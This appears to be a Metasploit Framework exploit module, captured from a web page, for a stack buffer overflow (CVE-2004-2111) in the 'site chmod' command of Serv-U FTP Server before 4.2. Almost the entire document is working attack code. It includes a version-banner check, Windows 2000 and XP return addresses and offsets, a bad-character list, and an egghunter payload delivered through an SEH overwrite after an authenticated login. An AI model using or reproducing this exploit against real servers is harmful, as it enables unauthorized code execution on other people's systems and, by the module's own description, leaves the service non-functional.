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TwitterServ-U FTP Server- 4.2 Buffer Overflow
### $Id$ |
## |
## |
# This file is part of the Metasploit Framework and may be subject to |
# redistribution and commercial restrictions. Please see the Metasploit |
# Framework web site for more information on licensing and terms of use. |
# http://metasploit.com/framework/ |
require 'msf/core' |
Class Metasploit3 < Msf::Exploit::Remote |
Rank = NormalRanking |
include Msf::Exploit::Remote::Egghunter |
include Msf::Exploit::Remote::Ftp |
def initialize(info = {}) |
super(update_info(info, |
'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow', |
'Description' => %q{ |
This module exploits a stack buffer overflow in the site chmod command |
in versions of Serv-U FTP Server prior to 4.2. |
You must have valid credentials to trigger this vulnerability. Exploitation |
also leaves the service in a non-functional state. |
}, |
'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>', |
'License' => MSF_LICENSE, |
'Version' => '$Revision$', |
'References' => |
[ |
[ 'CVE', '2004-2111'], |
[ 'BID', '9483'], |
], |
'Privileged' => true, |
'DefaultOptions' => |
{ |
'EXITFUNC' => 'thread', |
}, |
'Payload' => |
{ |
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", |
'DisableNops' => true, |
}, |
'Platform' => 'win', |
'Targets' => |
[ |
[ 'Windows 2000 SP0-4 EN', { |
'Ret' => 0x750212bc, #WS2HELP.DLL |
'Offset' => 396 } ], |
[ 'Windows XP SP0-1 EN', { |
'Ret' => 0x71aa388f, #WS2HELP.DLL |
'Offset' => 394 } ] |
], |
'DisclosureDate' => 'Dec 31 2004', |
'DefaultTarget' => 0)) |
end |
def check |
connect |
disconnect |
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/) |
return Exploit::CheckCode::Vulnerable |
end |
return Exploit::CheckCode::Safe |
end |
def exploit |
connect_login |
eggoptions = |
{ |
:checksum => true, |
:eggtag => "W00T" |
} |
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions) |
buffer = "chmod 777 " |
buffer << make_nops(target['Offset'] - egg.length - hunter.length) |
buffer << egg |
buffer << hunter |
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter |
buffer << [target.ret].pack('V') #seh |
buffer << rand_text(5000) |
print_status("Trying target #{target.name}...") |
send_cmd( ['SITE', buffer] , false) |
handler |
disconnect |
end |
end
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